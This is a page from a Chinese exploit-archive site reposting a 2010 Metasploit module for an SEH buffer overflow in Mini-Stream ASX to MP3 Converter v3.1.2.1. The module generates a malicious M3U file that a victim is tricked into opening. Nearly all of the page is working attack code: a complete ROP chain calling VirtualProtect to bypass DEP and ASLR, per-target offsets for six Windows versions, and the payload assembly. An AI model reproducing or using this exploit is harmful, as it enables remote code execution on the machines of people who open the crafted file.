首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ASX to MP3 Converter v3.1.2.1 SEH Exploit (Multiple OS, DEP and ASLR Bypass)
来源:vfocus.net 作者:Node 发布时间:2010-07-14  

# Exploit Title:     ASX to MP3 Converter v3.1.2.1 SEH Exploit (Multiple OS, DEP and ASLR Bypass)
# Date:              July 13, 2010
# Author:            Node
# Software Link:     http://www.mini-stream.net/downloads/ASXtoMP3Converter.exe
# Version:           Mini-Stream Software ASX to MP3 Converter v3.1.2.1.2010.03.30 Evaluation
# Tested on:         Windows Vista Ultimate SP1 Eng
#                    Windows Vista Ultimate SP2 Eng
#                    Windows XP Pro SP3 Eng
#                    Windows XP Pro SP2 Swe
#                    Windows XP Pro SP3 Swe
#                    Windows XP Home SP3 Swe
# CVE :
# Notes:             This is a proof of concept that it is possible to write ROP exploits
#                    that are portable to different operating systems. This exploit is
#                    using the following variables:
#
#                    1. "Offset":    The offset to the SEH overwrite
#                    2. "Offset2":   The offset before the ROP code starts in the buffer
#                    3. "K32Offset": The offset to the kernel32 pointer on the stack
#                    4. "VPOffset":  The offset to VirtualProtect() from the grabbed
#                                    kernel32 address
#                    5. "ASLR":      Activates or deactivates the ASLR bypassing ROP code
#
#                    The K32Offset and VPOffset are negged hex-numbers, to evade the
#                    null-byte problem. In the first target, K32Offset is "0xfffebcac"
#                    which gets converted in the ROP code to 0x00014354 (82772), which is
#                    how much the saved ESP address needs to be subtracted, to point to
#                    the kernel32 address. VPOffset is how much the Kernel32 address
#                    needs to be subtracted, to point to the VirtualProtect() function.
#                    If "ASLR" is false, "VPOffset" will be treated as the direct,
#                    non-negged address to VirtualProtect() in Kernel32.dll.
# Code:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mini-Stream Software ASX to MP3 Converter v3.1.2.1 SEH Buffer Overflow.',
   'Description'    => %q{
     This module exploits a SEH-based buffer overflow in ASX to MP3 Converter
     v.3.1.2.1. An attacker must send the file to victim, and the victim must open
     the specially crafted M3U file. This exploit is written with ROP gadgets from
     MSA2Mfilter03.dll and bypasses DEP on all systems including ASLR on Vista.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'Node' ],
   'Version'        => '$Revision: 99999 $',
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform' => 'win',
   'Targets' =>
    [
     [ 'ASX to MP3 Converter v3.1.2.1 on Windows Vista Ultimate SP1 Eng x86',  
      {'Offset' => 43511,
      'Offset2' =>  16339,
      'K32Offset' => 0xfffebcac,
      'VPOffset' => 0xfffe4e9c,
      'ASLR' => true } ],
     [ 'ASX to MP3 Converter v3.1.2.1 on Windows Vista Ultimate SP2 Eng x86',  
      {'Offset' => 43511,
      'Offset2' =>  16339,
      'K32Offset' => 0xfffebcac,
      'VPOffset' => 0xfffe5bf0,
      'ASLR' => true } ],
     [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP3 Eng x86',  
      {'Offset' => 43484,
      'Offset2' =>  16312,
      'VPOffset' => 0x7c801ad4,
      'ASLR' => false } ],
     [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP2 Swe x86',  
      {'Offset' => 43476,
      'Offset2' =>  16304,
      'VPOffset' => 0x7c801ad0,
      'ASLR' => false } ],
     [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP3 Swe x86',  
      {'Offset' => 43491,
      'Offset2' =>  16319,
      'VPOffset' => 0x7c801ad4,
      'ASLR' => false } ],
     [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Home SP3 Swe x86',  
      {'Offset' => 43476,
      'Offset2' =>  16304,
      'VPOffset' => 0x7c801ad4,
      'ASLR' => false } ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => '',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'asx2mp3.m3u']),
   ], self.class)
 end

 def exploit

  rop = [0x1002F7B7].pack('V')  # PUSH ESP # AND AL,0C # NEG EDX # NEG EAX # SBB EDX,0 # POP EBX # RETN 10
  rop << [0x10023315].pack('V') # ADD ESP,20 # RETN 
  rop << "1111" # VirtualProtect() placeholder
  rop << "2222" #return address placeholder
  rop << "3333" #lpAddress placeholder
  rop << "4444" #dwsize placeholder
  rop << "5555" #flNewProtect placeholder
  rop << [0x10066005].pack('V') # lpflOldProtect writable address
  rop << "A" * 8
  rop << "A" * 16 # because of RETN 10
  rop << [0x1002991C].pack('V') # XOR EDX,EDX # RETN
  rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
  rop << "A" * 4
  rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
  rop << "A" * 16
  
  
  if target['ASLR'] == true
   rop << [0x1002A649].pack('V')  # POP EAX # RETN
   rop << [target['K32Offset']].pack('V')
   rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
   rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
   rop << "A" * 8
   rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
   rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
   rop << [0x100130C4].pack('V')  # MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP # POP EBX # RETN
   rop << "A" * 8
   rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
   rop << [0x1002C86A].pack('V')  # SUB EAX,ECX # RETN
   rop << [0x10027F59].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # RETN
   rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
   rop << "A" * 8
  end

  rop << [0x100115AA].pack('V')  # POP EBX # RETN
  rop << [0xffffffff].pack('V')
  rop << [0x10014548].pack('V')  # XOR EAX,EAX # RETN
  rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
  rop << [0x10016C87].pack('V')  # INC EAX # RETN
  rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
  rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
  rop << "A" * 4
  rop << [0x1002A649].pack('V')  # POP EAX # RETN
  rop << "A" * 16

  rop << [target['VPOffset']].pack('V')

  if target['ASLR'] == true
   rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
   rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
   rop << "A" * 8
   rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
   rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
   rop << [0x100130C4].pack('V')  # MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP #POP EBX # RETN
   rop << "A" * 8
   rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
   rop << [0x10027F59].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # RETN
   rop << [0x1002C86A].pack('V')  # SUB EAX,ECX # RETN
  end
 
  rop << [0x10019AA7].pack('V')  # MOV DWORD PTR DS:[EDX],EAX # POP EDI # XOR EAX,EAX # POP EBP # ADD ESP,40   # RETN
  rop << "A" * 8
  rop << "A" * 64
  rop << [0x1002A649].pack('V')  # POP EAX # RETN
  rop << [0xffff95c8].pack('V') # negged shellcode offset
  rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
  rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
  rop << "A" * 8
  rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
  rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
  rop << [0x100130C4].pack('V')  # MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP # POP EBX # RETN
  rop << "A" * 8
  rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
  rop << [0x1001451E].pack('V')  # ADD EAX,ECX # RETN
  rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
  rop << "A" * 8
  rop << [0x100115AA].pack('V')  # POP EBX # RETN
  rop << [0xffffffff].pack('V')
  rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
  rop << [0x10016C87].pack('V')  # INC EAX # RETN
  rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
  rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
  rop << "A" * 4
  rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
  rop << "A" * 16 
  rop << [0x10027F59].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # RETN
  rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
  rop << "A" * 8
  rop << [0x100115AA].pack('V')  # POP EBX # RETN
  rop << [0xffffffff].pack('V')
  rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
  rop << [0x10016C87].pack('V')  # INC EAX # RETN
  rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
  rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
  rop << "A" * 4
  rop << [0x1002A649].pack('V')  # POP EAX # RETN
  rop << "A" * 16
  rop << [0xfffffc18].pack('V') # 0x3e8(1000].pack('V') negged
  rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
  rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
  rop << "A" * 8
  rop << [0x100115AA].pack('V')  # POP EBX # RETN
  rop << [0xffffffff].pack('V')
  rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
  rop << [0x10016C87].pack('V')  # INC EAX # RETN
  rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
  rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
  rop << "A" * 4
  rop << [0x1002A649].pack('V')  # POP EAX # RETN
  rop << "A" * 16
  rop << [0xffffffc0].pack('V') # 0x40 negged
  rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
  rop << [0x100163CA].pack('V')  # MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN
  rop << "A" * 8
  rop << [0x100115AA].pack('V')  # POP EBX # RETN
  rop << [0xffffffff].pack('V')
  rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
  rop << [0x100192DC].pack('V')  # ADD EAX,4 # RETN
  rop << [0x10016C87].pack('V')  # INC EAX # RETN
  rop << [0x10016C87].pack('V')  # INC EAX # RETN
  rop << [0x10016C87].pack('V')  # INC EAX # RETN
  rop << [0x1005B5DB].pack('V') # NEG EAX # RETN
  rop << [0x1002D327].pack('V')  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
  rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10
  rop << "A" * 4
  rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN
  rop << "A" * 16
  rop << [0x1002FE81].pack('V')  # XCHG EAX,ESP # RETN

  junk = rand_text_alpha_upper(target['Offset2']) #needed because of ADD ESP,4404 # RETN
  junktoseh = rand_text_alpha_upper(target['Offset'] - junk.length - rop.length)
  seh = [0x100177EA].pack('V') #ADD ESP,4404 # RETN
  nops = "\x90" * 24
  shellspace = rand_text_alpha_upper(1000 - payload.encoded.length)
  m3ufile = junk + rop + junktoseh + seh + nops + payload.encoded + shellspace
  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(m3ufile)

 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Opera Denial of Service by
·
dotDefender 4.02 Authenticatio
·Corel WordPerfect Office X5 15
·Arora Browser version 0.10.0-1
·Ubuntu PAM MOTD Local Root Exp
·linux/x86 standard system beep
·Avant Browser Denial of Servic
·Zenphoto CMS 1.3 Multiple CSRF
·Struts2/XWork < 2.2.0 Remote C
·Linux x86 netcat connect back
·Power/Personat FTP 2.30 Server
·Linux x86 netcat bindshell por
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved